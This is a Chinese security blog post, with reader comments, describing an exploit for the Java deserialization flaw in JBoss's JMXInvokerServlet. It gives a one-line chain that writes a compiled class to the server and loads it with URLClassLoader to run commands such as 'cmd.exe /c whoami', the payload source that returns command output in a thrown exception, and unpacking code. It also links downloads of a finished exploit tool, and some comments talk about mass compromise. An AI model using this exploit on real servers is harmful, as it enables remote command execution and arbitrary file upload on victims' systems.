*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
本文原创作者:rebeyond
文中提及的部分技术、工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用!
0×00 前言
前段时间java 的反序列化漏洞吵得沸沸扬扬,从刚开始国外某牛的一个可以执行OS命令的payload生成器,到后来的通过URLClassLoader来加载远程类来反弹shell。但是后来公司漏扫需要加规则来识别这种漏洞,而客户的漏扫又时常会工作在纯内网的环境下,因此远程加载类的方法行不通。想到自己写一个利用工具,于是有了下面这篇文章(本文以JBOSS为例)。
0×01目标
1. EXP只能利用服务器本机的资源,不能加载远程类。 2. 上传任意文件至任意目录。 3. 获取命令执行的回显内容。
0×02实现
EXP只能利用服务器本机的资源,不能加载远程类:
通过对漏洞成因分析可以得知,我们只能通过链式调用来执行java语句。换句话说,我们所想执行的语句必须可以写到一行里面,而且还不能带分号:( 其实这里很好突破,我们只要把我们想要执行的任意代码(无论有多长)在本地编译成class,然后把class字节码上传到服务器就可以了。然后问题又来了,怎么上传呢,上传到什么路径下面呢?上传可以通过FileOutputStream这个类来实现,上传路径就更简单了,直接给FileOutputStream传个“.”过去,上传到程序运行的当前目录下面,一句话代码:new FileOutputStream(“./payload.class”).write(new byte[]{0xXX,0xXX……})。上传的问题解决了,下面执行也就好办了,一句代码:java.net.URLClassLoader. getConstructor(java.net.URL[].class). newInstance(new java.net.URL[] {new java.net.URL("file:./")}). loadClass(“payload”). newInstance(“cmd.exe /c whoami”)。
这样就解决了我们的两个目标,只利用服务器本机资源,不需要联网,可以上传任意文件至任意目录。
获取命令回显内容:
通过对JBOSS中invoker/JMXInvokerServlet的返回结果进行分析,得知返回的是一个 MarshalledValue对象,该对象封装了invoker/JMXInvokerServlet的返回值,如果执行过程中有异常抛出,一个InvocationException对象就会封装在MarshalledValue对象里面。到这里思路就很明确了,java 的异常有个构造函数是可以传String参数的,我们可以把第一步那个class文件中命令执行的结果作为参数构造一个Exception,然后在payload.class最后throw这个Exception,这样这个带有回显内容的Exception就会封装在MarshalledValue对象里面通过http协议返回,我们只要把返回的MarshalledValue对象解包,就可以获取回显的内容了。
下面给出payload.java的源代码:
import java.io.BufferedReader; import java.io.InputStreamReader; public class RunCheckConfig { public RunCheckConfig(String args) throws Exception { Process proc = Runtime.getRuntime().exec(args); BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream())); StringBuffer sb = new StringBuffer(); String line; while ((line = br.readLine()) != null) { sb.append(line).append("\n"); } String result = sb.toString(); Exception e=new Exception(result); throw e; } }
解包程序的源代码:
public static void main(String args[]) throws Exception { FileInputStream fis = new FileInputStream("d:/response.bin"); byte TempByte[]=new byte[5000*1000]; int length=fis.read(TempByte); int ClassStart=0; for (int i=0;i<length;i++) { if (TempByte[i]==0x0d&&TempByte[i+1]==0x0a&&TempByte[i+2]==0x0d&&TempByte[i+3]==0x0a) { System.out.println(i); ClassStart=i; break; } } byte ClassByte[]=new byte[length-ClassStart-4]; for (int i=0;i<ClassByte.length;i++) { ClassByte[i]=TempByte[i+ClassStart+4]; } fis.close(); TempByte=null; ByteArrayInputStream ai=new ByteArrayInputStream(ClassByte); ObjectInputStream ois = new ObjectInputStream(ai); MarshalledValue st1 = (MarshalledValue) ois.readObject(); InvocationException o=(InvocationException) st1.get(); System.out.println(o.getTargetException().getCause().getCause().getCause().getMessage()); }
下面是解包后的截图:
0×03总结
到这里我们本文的三个目标都已经完成了。
对于本文的初衷,如何让漏扫来判断是否存在漏洞,就更简单了,只要一句代码就可以了:new FileOutputStream("\u0000");,然后在返回内容里查找字符串“java.io.FileNotFoundException”,或者像我们前面做的那样,解包然后判断exception的类型是不是java.io.FileNotFoundException。
另外,附上该Exploit的成品截图及下载地址,仅供研究,请勿用于任何非法活动:
下载地址:链接:http://share.weiyun.com/2d8bac0d1a61378f5b0be06a42eca962 (密码:Po4i)
* 原创作者:rebeyond,本文属FreeBuf原创奖励计划,未经许可禁止转载
11月 上海
CIS 2019首席信息安全官闭门高峰论坛11月
CIS 2019议题抢先看10月
公开课双十一活动9月 上海
CIS 2019官网上线,早鸟票同步开售
已有 43 条评论
漂亮,谢谢
赞一个 貌似不支持对https网站的检测
checkVul做的不对 检测可不是判断一下http code 看看对象类型这么简单
@ genxor 大神,是时候把你的exp放出来了吧。知道你早就有了哈!
@ genxor 那么 正确的做法是咋样的 可以详细点解释下不
如果可以远程扫描就可以做抓鸡套装了
估计要杀一大片了
ddd
本人小菜,求作者解释一下。工具经过我的测试,所发数据包一直未到达我的测试的目标IP,是怎么回事呢
不管放任何网站,所有的通信的IP都是64.125.211.0和0.124.211.0。
@ 作者能不能解释一下这个的这个数据包是什么意思 没遇到这个问题,你的这两个IP应该和程序本身没关系。程序没有加密混淆,可以直接反编译看一下源码:)
下载了的,这个是针对jboss的
赞一个,多谢。
漂亮
不错哦。
其实我是看桌面的
@ ccc 我也喜欢
好用不。好用我也来test一下。
在WebSphere上验证该漏洞的时候发现有一个类明明接受了序列化的数据,但是就是死活不执行系统命令,本机验证时能够成功执行的调用栈如下:
Exception in thread "main" java.lang.ClassCastException: java.lang.Integer canno
t be cast to java.util.Set
at com.sun.proxy.$Proxy0.entrySet(Unknown Source)
at sun.reflect.annotation.AnnotationInvocationHandler.readObject(Annotat
ionInvocationHandler.java:349)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.
java:57)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAcces
sorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:606)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:101
7)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1891)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1
796)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1348)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:370)
at main.main(main.java:32)
目标系统上不能成功执行的调用栈类似如下:
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1913)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1
796)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1348)
at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:19
89)
at java.io.ObjectInputStream.defaultReadObject(ObjectInputStream.java:49
9)
at sun.reflect.annotation.AnnotationInvocationHandler.readObject(Annotat
ionInvocationHandler.java:331)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.
java:57)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAcces
sorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:606)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:101
7)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1891)
这个是只针对JBOSS的版本吗?其他三个中间件有返回数据吗?
我这边测试工具没问题,但是调试源码 返回的异常总是解析不出来, 可否留个联系方式学习一下?
weblogic我用另一种方法实现了结果回显和上传小文件,不过,我这没有weblogic下可用的精短一句话,就是可以实现上传保存的精短代码,哪位大神提供下
@ msx2009 求weblogic回显姿势
是时候装一波X了~
貌似上传有问题、、
@ Weiy-Buf 上传需要填写绝对路径,可以先通过dir或者ls命令找到路径。
Hi there,
This exploit run for what jboss version?
最后一段话的,只要一句代码就可以了:new FileOutputStream("\u0000"); ,,,,不管是否有漏洞的网站,都会报,java.io.FileNotFoundException这个错误,,是我加的代码不对吗
具体这个神器怎么用啊
路径用 ./的话, 会报ClassNotFoundException, 作者代码里也没有用这个’./’ ,还是判断了下系统类型,
应该那个方法没有用吧?
@ jerrypy qq多少交流下
@ 老实的人 就在这交流呗
@ jerrypy 我输入一个地址,命令行窗口会有大段的报错,你还知道原因啊?
@ jerrypy connection timeout
有没有 weblogic的利用工具
感谢分享。研究了一下,主要是java类型转换好麻烦。不过解决了。
虽然看的不是很明白 但是 自己慢慢琢磨吧
微云的分享资源被莫名删掉了,百度网盘链接:http://pan.baidu.com/s/1skwNILv 密码: 7nta
思路很赞。
weblogic反序列化如果判断是否存在漏洞
可以
Exploit下载不了了,想拿来学习一下,楼主能发一下给我吗?achilleswp@qq.com,万分感激!!!
“`java
org.jboss.invocation.InvocationException#getTargetException()
java.lang.ClassCastException: sun.reflect.annotation.AnnotationInvocationHandler cannot be cast to org.jboss.invocation.MarshalledInvocation
at org.jboss.invocation.http.servlet.InvokerServlet.processRequest
“`
!RunCheckConfig.class文件上传不成功
org.jboss.invocation.InvocationException#getTargetException()
java.lang.ClassCastException: sun.reflect.annotation.AnnotationInvocationHandler cannot be cast to org.jboss.invocation.MarshalledInvocation
at org.jboss.invocation.http.servlet.InvokerServlet.processRequest